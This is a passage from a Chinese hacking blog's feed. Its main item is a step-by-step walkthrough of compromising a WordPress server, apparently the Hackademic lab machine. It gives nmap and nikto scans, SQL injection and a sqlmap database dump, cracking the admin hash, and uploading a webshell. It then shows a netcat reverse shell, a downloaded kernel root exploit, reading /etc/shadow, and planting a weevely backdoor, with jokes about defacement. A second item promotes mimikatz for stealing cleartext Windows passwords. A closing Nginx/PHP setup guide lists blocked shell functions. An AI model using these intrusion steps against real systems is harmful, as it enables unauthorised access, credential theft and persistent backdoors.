<p>4.目标站点管理员（相关人员）的姓名，电话，邮箱和住址等</p>
<p>5.目标站点所支持的脚本类型（PHP，ASP，JSP，ASP.net，CFM）</p>
<p>6.目标站点的操作系统（UNIX,LINUX,WINDOWS,SOLARIS）</p>
<p>7.目标站点开放的端口</p>
<p>让我们先来查询相关DNS记录吧，这里用的是 who.is：</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030104H5Z.jpg" alt="hack" width="576" height="306" /></p>
<p>目标站点DNS记录信息：</p>
<table border="0">
<tbody valign="top">
<tr>
<td valign="middle"><strong>Record</strong></td>
<td valign="middle"><strong>Type</strong></td>
<td valign="middle"><strong>TTL</strong></td>
<td valign="middle"><strong>Priority</strong></td>
<td valign="middle"><strong>Content</strong></td>
</tr>
<tr>
<td valign="middle">hack-test.com</td>
<td valign="middle">A</td>
<td valign="middle">4 hours</td>
<td valign="middle"></td>
<td valign="middle">173.236.138.113 ()</td>
</tr>
<tr>
<td valign="middle">hack-test.com</td>
<td valign="middle">SOA</td>
<td valign="middle">4 hours</td>
<td valign="middle"></td>
<td valign="middle">ns1.dreamhost.com. hostmaster.dreamhost.com. 2011032301 15283 1800 1814400 14400</td>
</tr>
<tr>
<td valign="middle">hack-test.com</td>
<td valign="middle">NS</td>
<td valign="middle">4 hours</td>
<td valign="middle"></td>
<td valign="middle">ns1.dreamhost.com</td>
</tr>
<tr>
<td valign="middle">hack-test.com</td>
<td valign="middle">NS</td>
<td valign="middle">4 hours</td>
<td valign="middle"></td>
<td valign="middle">ns3.dreamhost.com</td>
</tr>
<tr>
<td valign="middle">hack-test.com</td>
<td valign="middle">NS</td>
<td valign="middle">4 hours</td>
<td valign="middle"></td>
<td valign="middle">ns2.dreamhost.com</td>
</tr>
<tr>
<td valign="middle">www.hack-test.com</td>
<td valign="middle">A</td>
<td valign="middle">4 hours</td>
<td valign="middle"></td>
<td valign="middle">173.236.138.113 ()</td>
</tr>
</tbody>
</table>
<p>同时确认WEB服务的类型：</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030104KZS.jpg" alt="hack" width="576" height="170" /></p>
<p>显而易见是Apache ,稍后我们将确定其版本：</p>
<p><strong>HACK-TEST.COM SITE INFORMATION </strong></p>
<p>IP: 173.236.138.113</p>
<p>Website Status: active</p>
<p>Server Type: Apache</p>
<p>Alexa Trend/Rank:  1 Month: 3,213,968    3 Month: 2,161,753 Page Views per Visit:  1 Month: 2.0    3 Month: 3.7</p>
<p>现在是时候来查询目标站点持有人（也许可能就是管理员）信息了：</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030105luD.jpg" alt="hack" width="576" height="263" /></p>
<p>现在我们有了管理员的一些相关信息了，祭出Backtrack5中的神器 Whatweb 来确认操作系统和WEB服务版本信息：</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030105gNf.jpg" alt="h" width="576" height="10" /></p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030105u7U.jpg" alt="hack" width="576" height="11" /></p>
<p>Now we found that your site is using a famous php script called WordPress, that your server os is Fedora Linux and that your web server version is (apache 2.2.15), let’s find open ports in your server.</p>
<p>现在我们知道，目标站点使用了用PHP编写的非常出名的开源博客系统WordPress，并且是跑在Fedora的Linux发行版上的，Apache版本是2.2.15。接下来让我们看看目标站点服务器开了哪些端口：</p>
<p>祭出神器Nmap</p>
<p>1 – 获取目标服务器开放的服务</p>
<pre>root@bt:/# nmap -sV hack-test.com
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.0013s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:01:8A:4D (VMware)
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds</pre>
<p>2 – 获取目标服务器操作系统</p>
<pre>root@bt:/# nmap -O hack-test.com 

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.00079s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp closed ssh 

80/tcp open http
MAC Address: 00:0C:29:01:8A:4D (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.22 (Fedora Core 6)
Network Distance: 1 hop 

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds</pre>
<p>啊哦！~只开了80，而且是 Fedora Core 6 Linux内核版本为2.6.22</p>
<p>现在我们已经收集了很多关于目标站点的重要信息了。让我们扫扫他的漏洞吧。（Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF,等等.）</p>
<p>让我们先试试 Nakto.pl 来扫扫，没准能搞出点漏洞来</p>
<p>root@bt:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com<br />
- Nikto v2.1.4<br />
—————————————————————————<br />
+ Target IP: 192.168.1.2 + Target Hostname: hack-test.com + Target Port: 80 + Start Time: 2011-12-29 06:50:03<br />
—————————————————————————<br />
+ Server: Apache/2.2.15 (Fedora) + ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b + Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + 6448 items checked: 1 error(s) and 6 item(s) reported on remote host + End Time: 2011-12-29 06:50:37 (34 seconds)<br />
—————————————————————————</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030105Vdi.jpg" alt="hack" width="576" height="198" /></p>
<p>同时试试Wa3f（Ps：哦哇谱死的开源项目，很不错的说~）</p>
<pre>root@bt:/pentest/web/w3af# ./w3af_gui 

Starting w3af, running on:
Python version:
2.6.5 (r265:79063, Apr 16 2010, 13:57:41)
[GCC 4.4.3]
GTK version: 2.20.1
PyGTK version: 2.17.0 

w3af - Web Application Attack and Audit Framework
Version: 1.2
Revision: 4605
Author: Andres Riancho and the w3af team.</pre>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030106oSD.jpg" alt="hack" width="490" height="135" /></p>
<p>图形界面的扫描方式，写入URL即可。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030106UkR.jpg" alt="hack" width="576" height="413" /></p>
<p>用以前给杂志社投稿的语气说，泡杯茶的功夫，等待扫描结束并查看结果。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030106wOC.jpg" alt="hack" width="576" height="417" /></p>
<p>你可以看到很多漏洞信息鸟~先试试SQL注入。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030107j8T.jpg" alt="hack" width="576" height="415" /></p>
<p>url – http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220 然后 Exploit it!</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/0301079jn.jpg" alt="hack" width="576" height="410" /></p>
<p>发现其他漏洞测试失败，用SQLMap进行脱裤吧（猜解数据库并保存目标站点相关信息到本地）  Dump it!</p>
<p>sqlmap -u url</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030107SHf.jpg" alt="hack" width="576" height="24" /></p>
<p>过一小会儿能见到如下信息</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/0301073b8.jpg" alt="hack" width="576" height="22" /></p>
<p>按n并回车后你可以看到</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030108KfL.jpg" alt="hack" width="576" height="66" /></p>
<p>哦也~显错方式的注入点，而且爆出的 Mysql的版本信息</p>
<p>用sqlmap取得所有库，参数 -dbs<br />
<img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030108qqT.jpg" alt="hack" width="576" height="17" /></p>
<p>找到三个库</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030113GHu.jpg" alt="hack" width="293" height="71" /></p>
<p>查Wordpress的库中所有表，参数 -D wordpress -tables</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030113JZn.jpg" alt="hack" width="196" height="217" /></p>
<p>然后是列名（这里需要你自己熟悉敏感信息存在哪个表中呢），参数 -T wp_users -columns</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030113Nc5.jpg" alt="hack" width="576" height="22" /></p>
<p>22个字段（列）</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030114NRM.jpg" alt="hack" width="363" height="460" /></p>
<p>然后查数据，参数 -C user_login,user_pass –dump</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/0301143eb.jpg" alt="hack" width="428" height="224" /></p>
<p>然后解密管理员的hash，这里用的是 <a href="http://www.onlinehashcrack.com/free-hash-reverse.php" rel="nofollow" target="_blank">http://www.onlinehashcrack.com/free-hash-reverse.php</a></p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030115IMR.jpg" alt="hack" width="576" height="119" /></p>
<p>明文密码是q1w2e3（和<a href="http://www.gesong.org/pwd.txt" target="_blank">csdn库的密码排行榜</a>有得一拼，哈哈~），然后登入后台拿webshell了。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030115EY7.jpg" alt="hack" width="576" height="164" /></p>
<p>Get in!~</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/03011572q.jpg" alt="hack" width="576" height="263" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>来传个PHP的webshell吧~这里用的编辑插件拿shell的方法（见我以前写的tips，方法有很多哦~）</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030115q8I.jpg" alt="hack" width="576" height="236" /></p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/0301163Lr.jpg" alt="hack" width="576" height="268" /></p>
<p>牛b。保存就可以了。然后访问就可以看到可爱的webshell了。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/0301168lY.jpg" alt="hack" width="576" height="295" /></p>
<p>灰阔都知道，接下来要提权了。用反弹来获取一个交互式的shell。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030116mqy.jpg" alt="hack" width="576" height="293" /></p>
<p>本地用nc监听（不得不说经典就是经典啊~）</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030116asl.jpg" alt="hack" width="376" height="37" /></p>
<p>连上之后</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030117Dv5.jpg" alt="hack" width="576" height="51" /></p>
<p>输点Linux命令试试火候</p>
<p>id uid=48(apache) gid=489(apache) groups=489(apache)</p>
<p>pwd /var/www/html/Hackademic_RTB1/wp-content/plugins</p>
<p>uname -a Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030117H7O.jpg" alt="hack" width="576" height="153" /></p>
<p>命令作用我就不翻译了。获取了内核版本，我们可以到 exploit-db.com 来寻找相关的exp进行权限的提升。</p>
<p>老外都是用wget下载的，国内灰阔们呢?</p>
<pre>wget http://www.exploit-db.com/download/15285 -O roro.c
--2011-12-28 00:48:01-- http://www.exploit-db.com/download/15285
Resolving www.exploit-db.com... 199.27.135.111, 199.27.134.111
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.exploit-db.com/download/15285/ [following]
--2011-12-28 00:48:02-- http://www.exploit-db.com/download/15285/
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7154 (7.0K) [application/txt]
Saving to: `roro.c' 

0K ...... 100% 29.7K=0.2s</pre>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/03011782N.jpg" alt="hack" width="576" height="228" /><br />
代码我不贴了。用gcc编译exp gcc roro.c -o roro ，编译并且执行exp。</p>
<pre>./roro 

[*] Linux kernel &gt;= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Linux kernel &gt;= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...</pre>
<p>淡定，敲个id试试，你可以发现 root it!</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030118mGO.jpg" alt="hack" width="364" height="44" /></p>
<p>现在可以查看shadow和passwd了~（我只截了部分）</p>
<p>cat /etc/shadow<br />
root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7:::</p>
<p>我们可以使用 John the ripper 来破哈希。但是我们不会这么做，通常我们会留下一个后门（权限巩固），这样就可以随时涂掉他首页了（hv a joke.）。</p>
<p>我们用bt5中的weevely来上传一个带密码保护的PHP的webshell。</p>
<p>1 – weevely的相关选项</p>
<pre>root@bt:/pentest/backdoors/web/weevely# ./main.py - 

Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/ 

Usage: main.py [options] 

Options:
-h, --help show this help message and exit
-g, --generate Generate backdoor crypted code, requires -o and -p .
-o OUTPUT, --output=OUTPUT
Output filename for generated backdoor .
-c COMMAND, --command=COMMAND
Execute a single command and exit, requires -u and -p
.
-t, --terminal Start a terminal-like session, requires -u and -p .
-C CLUSTER, --cluster=CLUSTER
Start in cluster mode reading items from the give
file, in the form 'label,url,password' where label is
optional.
-p PASSWORD, --password=PASSWORD
Password of the encrypted backdoor . 

-u URL, --url=URL Remote backdoor URL .</pre>
<p>2 – 用它来创建一个PHP的webshell</p>
<pre> root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko 

Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/ 

+ Backdoor file 'hax.php' created with password 'koko'.</pre>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030118k2G.jpg" alt="hack" width="576" height="76" /><br />
3 – 上传</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030118va2.jpg" alt="hack" width="576" height="337" /></p>
<p>我们现在可以用weevely连接并操控他了。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030119w51.jpg" alt="hack" width="576" height="108" /></p>
<p>测试（其实就相当于一句话马差不多的..）</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2012/03/030119UPK.jpg" alt="hack" width="576" height="105" /></p>
<p>总结：</p>
<p>老外的行文方式还不错，很好的渗透流程，很标准的科普文~~</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年03月8日 -- <a href="http://www.4shell.org/archives/2155.html" title="解决BackTrack 5 R2 Metasploit Bug">解决BackTrack 5 R2 Metasploit Bug</a></li><li>2012年03月6日 -- <a href="http://www.4shell.org/archives/2146.html" title="BackTrack 5 从R1 升级到 BackTrack 5 R2">BackTrack 5 从R1 升级到 BackTrack 5 R2</a></li><li>2012年02月17日 -- <a href="http://www.4shell.org/archives/2093.html" title="BT5 R1 启动自动进入图形界面">BT5 R1 启动自动进入图形界面</a></li><li>2012年02月17日 -- <a href="http://www.4shell.org/archives/2092.html" title="BT5 R1 下VPN拨号 安装networkmanager">BT5 R1 下VPN拨号 安装networkmanager</a></li><li>2011年11月22日 -- <a href="http://www.4shell.org/archives/2049.html" title="BT5 R1 Install VMware Tools">BT5 R1 Install VMware Tools</a></li><li>2011年06月8日 -- <a href="http://www.4shell.org/archives/1959.html" title="Backtrack5 汉化">Backtrack5 汉化</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2104.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>神器 - mimikatz</title>
		<link>http://www.4shell.org/archives/2098.html</link>
		<comments>http://www.4shell.org/archives/2098.html#comments</comments>
		<pubDate>Fri, 24 Feb 2012 05:30:03 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[资源共享]]></category>
		<category><![CDATA[mimikatz]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2098</guid>
		<description><![CDATA[神器下载地址: http://blog.gentilkiwi.com/mimikatz 还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章 http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwords-from-lsass 自己尝试了下用 win2008 r2 x64 来测试 最后测试成功 wdigest 就是我的明文密码 我还测过密码复杂度在14位以上 包含数字 大小写字母 特殊字符的密码 一样能抓出明文密码来 以前用 wce.exe 或 lslsass.exe 通常是只能从内存里顶多抓出active账号的 lm hash 和 ntlm hash 但用了这个神器抓出明文密码后 由此我们可以反推断 在 lsass.exe 里并不是只存有 lm hash 和 ntlm hash 而已 应该还存在有你的明文密码经过某种加密算法 (注意: 是加密算法 而不是hash算法 加密算法是可逆的 hash算法是不可逆的) 这样这个加密算法是可逆的 能被解密出明文 所以进程注入 lsass.exe 时 所调用的 sekurlsa.dll 应该包含了对应的解密算法 逆向功底比较好的童鞋可以尝试去逆向分析一下 [...]]]></description>
			<content:encoded><![CDATA[<p><strong>神器下载地址: </strong></p>
<p><strong>http://blog.gentilkiwi.com/mimikatz</strong></p>
<p><strong>还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章</strong></p>
<p><strong>http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwords-from-lsass</strong></p>
<p><strong>自己尝试了下用 win2008 r2 x64 来测试</strong></p>
<p><span id="more-2098"></span></p>
<p><strong><a href="http://www.4shell.org/wp-content/uploads/images/2012/02/053003hEc.jpg"><img src="http://www.4shell.org/wp-content/uploads/images/2012/02/053003hEc.jpg" alt="" width="668" height="623" /></a><br />
</strong></p>
<p><strong>最后测试成功 wdigest 就是我的明文密码</strong></p>
<p><strong>我还测过密码复杂度在14位以上 </strong></p>
<p><strong>包含数字 大小写字母 特殊字符的密码</strong></p>
<p><strong>一样能抓出明文密码来</strong></p>
<p><strong>以前用 wce.exe 或 lslsass.exe 通常是只能从内存里顶多抓出active账号的 lm hash 和 ntlm hash</strong></p>
<p><strong>但用了这个神器抓出明文密码后</strong></p>
<p><strong>由此我们可以反推断 在 lsass.exe 里并不是只存有 lm hash 和 ntlm hash 而已</strong></p>
<p><strong>应该还存在有你的明文密码经过某种加密算法 (注意: 是加密算法 而不是hash算法 加密算法是可逆的 hash算法是不可逆的)</strong></p>
<p><strong>这样这个加密算法是可逆的 能被解密出明文 </strong></p>
<p><strong>所以进程注入 lsass.exe 时 所调用的 sekurlsa.dll 应该包含了对应的解密算法</strong></p>
<p><strong>逆向功底比较好的童鞋可以尝试去逆向分析一下</strong></p>
<p>&nbsp;</p>
<p><strong>然后这个神器的功能肯定不仅仅如此 在我看来它更像一个轻量级调试器</strong></p>
<p><strong>可以提升进程权限 注入进程 读取进程内存等等 </strong></p>
<p><strong>下面展示一个 读取扫雷游戏的内存的例子</strong></p>
<p><strong><a href="http://www.4shell.org/wp-content/uploads/images/2012/02/053003oYL.jpg"><img src="http://www.4shell.org/wp-content/uploads/images/2012/02/053003oYL.jpg" alt="" width="668" height="431" /></a><br />
</strong></p>
<p><strong>我们还可以通过pause命令来挂起该进程 这个时候游戏的时间就静止了</strong></p>
<p><strong><a href="http://www.4shell.org/wp-content/uploads/images/2012/02/053003u0T.jpg"><img src="http://www.4shell.org/wp-content/uploads/images/2012/02/053003u0T.jpg" alt="" width="668" height="431" /></a><br />
</strong></p>
<p>&nbsp;</p>
<p><strong>总之这个神器相当华丽 还有更多能力有待各黑阔们挖掘 =..=~</strong></p>
<h2  class="related_post_title">随机日志</h2><ul class="related_post"><li>2009年03月4日 -- <a href="http://www.4shell.org/archives/754.html" title="彩虹QQ &#8211; 再见">彩虹QQ &#8211; 再见</a></li><li>2008年11月27日 -- <a href="http://www.4shell.org/archives/670.html" title="攻击CISCO路由器的详细步骤">攻击CISCO路由器的详细步骤</a></li><li>2009年11月23日 -- <a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li><li>2010年05月31日 -- <a href="http://www.4shell.org/archives/1764.html" title="Nginx 0.8.35 Space Character Remote Source Disclosure">Nginx 0.8.35 Space Character Remote Source Disclosure</a></li><li>2008年11月20日 -- <a href="http://www.4shell.org/archives/645.html" title="Slax 6.07 官方迅雷高速下载">Slax 6.07 官方迅雷高速下载</a></li><li>2007年05月21日 -- <a href="http://www.4shell.org/archives/213.html" title="2007年最佳的七十五个网络分析和安全工具">2007年最佳的七十五个网络分析和安全工具</a></li><li>2008年10月24日 -- <a href="http://www.4shell.org/archives/466.html" title="批处理中Dos符号作用大全（二）">批处理中Dos符号作用大全（二）</a></li><li>2011年06月20日 -- <a href="http://www.4shell.org/archives/2001.html" title="Update Script for Backtrack 5">Update Script for Backtrack 5</a></li><li>2006年10月22日 -- <a href="http://www.4shell.org/archives/69.html" title="动易SP4的漏洞利用">动易SP4的漏洞利用</a></li><li>2009年10月15日 -- <a href="http://www.4shell.org/archives/1140.html" title="Linux网络安全经验之谈">Linux网络安全经验之谈</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2098.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CentOS 6 编译安装Nginx+PHP+Mysql</title>
		<link>http://www.4shell.org/archives/2095.html</link>
		<comments>http://www.4shell.org/archives/2095.html#comments</comments>
		<pubDate>Fri, 17 Feb 2012 06:22:35 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CentOS]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2095</guid>
		<description><![CDATA[[1].安装 Nginx 1,添加一个不能登录且没有主目录的用户： 1 # useradd www -M -s /sbin/nologin 2,必要的组件 1 2 3 4 5 # wget ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.13.zip # unzip pcre-8.13.zip # cd pcre-8.13 # ./configure # make &#38;&#38; make install 3,编译nginx并安装 1 2 3 4 # tar -zxvf nginx-1.1.2.tar.gz # cd nginx-1.1.2 # ./configure --prefix=/usr/local/nginx --user=www --group=www --with-http_stub_status_module --with-http_ssl_module # make &#38;&#38; make [...]]]></description>
			<content:encoded><![CDATA[<div>
<p>[1].安装 Nginx</p>
<p>1,添加一个不能登录且没有主目录的用户：</p>
<div>
<div id="highlighter_249447">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
</td>
<td>
<div>
<div><code># useradd www -M -s /sbin/nologin</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>2,必要的组件</p>
<div>
<div id="highlighter_474150">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
</td>
<td>
<div>
<div><code># wget <a href="ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.13.zip">ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.13.zip</a></code></div>
<div><code># unzip pcre-8.13.zip</code></div>
<div><code># cd pcre-8.13</code></div>
<div><code># ./configure</code></div>
<div><code># make &amp;&amp; make install</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>3,编译nginx并安装</p>
<div>
<div id="highlighter_171384">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
</td>
<td>
<div>
<div><code># tar -zxvf nginx-1.1.2.tar.gz</code></div>
<div><code># cd nginx-1.1.2</code></div>
<div><code># ./configure --prefix=/usr/local/nginx --user=www --group=www --with-http_stub_status_module --with-http_ssl_module</code></div>
<div><code># make &amp;&amp; make install</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>[2].安装 PHP</p>
<p>1,安装必要的组件</p>
<div>
<div id="highlighter_731133">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
<div>6</div>
</td>
<td>
<div>
<div><code># yum -y install libjpeg-devel libpng-devel</code></div>
<div><code># wget <a href="ftp://mcrypt.hellug.gr/pub/crypto/mcrypt/libmcrypt/libmcrypt-2.5.7.tar.gz">ftp://mcrypt.hellug.gr/pub/crypto/mcrypt/libmcrypt/libmcrypt-2.5.7.tar.gz</a></code></div>
<div><code># tar -zxvf libmcrypt-2.5.7.tar.gz</code></div>
<div><code># cd libmcrypt-2.5.7</code></div>
<div><code># ./configure</code></div>
<div><code># make &amp;&amp; make install</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>==64位系统==</p>
<div>
<div id="highlighter_636832">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
</td>
<td>
<div>
<div><code># ln -s /usr/lib64/mysql/ /usr/lib/mysql</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>==64位系统==</p>
<p>2,编译php并安装</p>
<div>
<div id="highlighter_224792">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
</td>
<td>
<div>
<div><code># cd php-5.3.8</code></div>
<div><code># ./configure --prefix=/usr/local/php --with-iconv --with-zlib --enable-xml --disable-rpath --enable-safe-mode --enable-bcmath --enable-shmop --enable-sysvsem --enable-inline-optimization --with-curl --with-curlwrappers --enable-mbregex --enable-mbstring --with-mcrypt --with-gd --enable-gd-native-ttf --with-openssl --with-mhash --enable-pcntl --enable-sockets  --with-xmlrpc --enable-zip --enable-soap --without-pear --with-mysql --with-mysqli --enable-sqlite-utf8 --with-pdo-mysql --enable-ftp --with-jpeg-dir --with-freetype-dir --with-png-dir --enable-fpm --with-fpm-user=www --with-fpm-group=www</code></div>
<div><code># make &amp;&amp; make install</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>3,拷贝和修改php配置文件</p>
<div>
<div id="highlighter_968081">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
</td>
<td>
<div>
<div><code># cp php.ini-production /usr/local/php/lib/php.ini 或是 /usr/local/lib/php.ini</code></div>
<div><code># cp /usr/local/php/etc/php-fpm.conf.default /usr/local/php/etc/php-fpm.conf</code></div>
<div><code># /usr/local/php/bin/php --ini   //测试ini文件是否加载</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>修改php.ini</p>
<div>
<div id="highlighter_711227">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
<div>6</div>
<div>7</div>
<div>8</div>
<div>9</div>
<div>10</div>
</td>
<td>
<div>
<div><code>[PHP]</code></div>
<div><code>safe_mode = On</code></div>
<div><code>register_globals = Off</code></div>
<div><code>magic_quotes_gpc = Off</code></div>
<div><code>allow_url_fopen = Off</code></div>
<div><code>allow_url_include = Off</code></div>
<div><code>expose_php=Off</code></div>
<div><code>disable_functions = shell_exec,system,exec,passthru,show_source,curl_exec,curl_multi_exec,get_cfg_var</code></div>
<div><code>[Date]</code></div>
<div><code>date.timezone = “Asia/Shanghai”</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>修改php-fpm.conf</p>
<div>
<div id="highlighter_426607">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
<div>6</div>
<div>7</div>
<div>8</div>
<div>9</div>
<div>10</div>
<div>11</div>
</td>
<td>
<div>
<div><code>[global]</code></div>
<div><code>pid = run/php-fpm.pid</code></div>
<div><code>error_log = log/php-fpm.log</code></div>
<div><code>log_level = notice</code></div>
<div><code>emergency_restart_threshold = 0</code></div>
<div><code>emergency_restart_interval = 0</code></div>
<div><code>[www]</code></div>
<div><code>pm.start_servers = 20</code></div>
<div><code>pm.min_spare_servers = 5</code></div>
<div><code>pm.max_spare_servers = 35</code></div>
<div><code>pm.max_requests = 500</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>4,添加服务启动脚本</p>
<div>
<div id="highlighter_913346">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
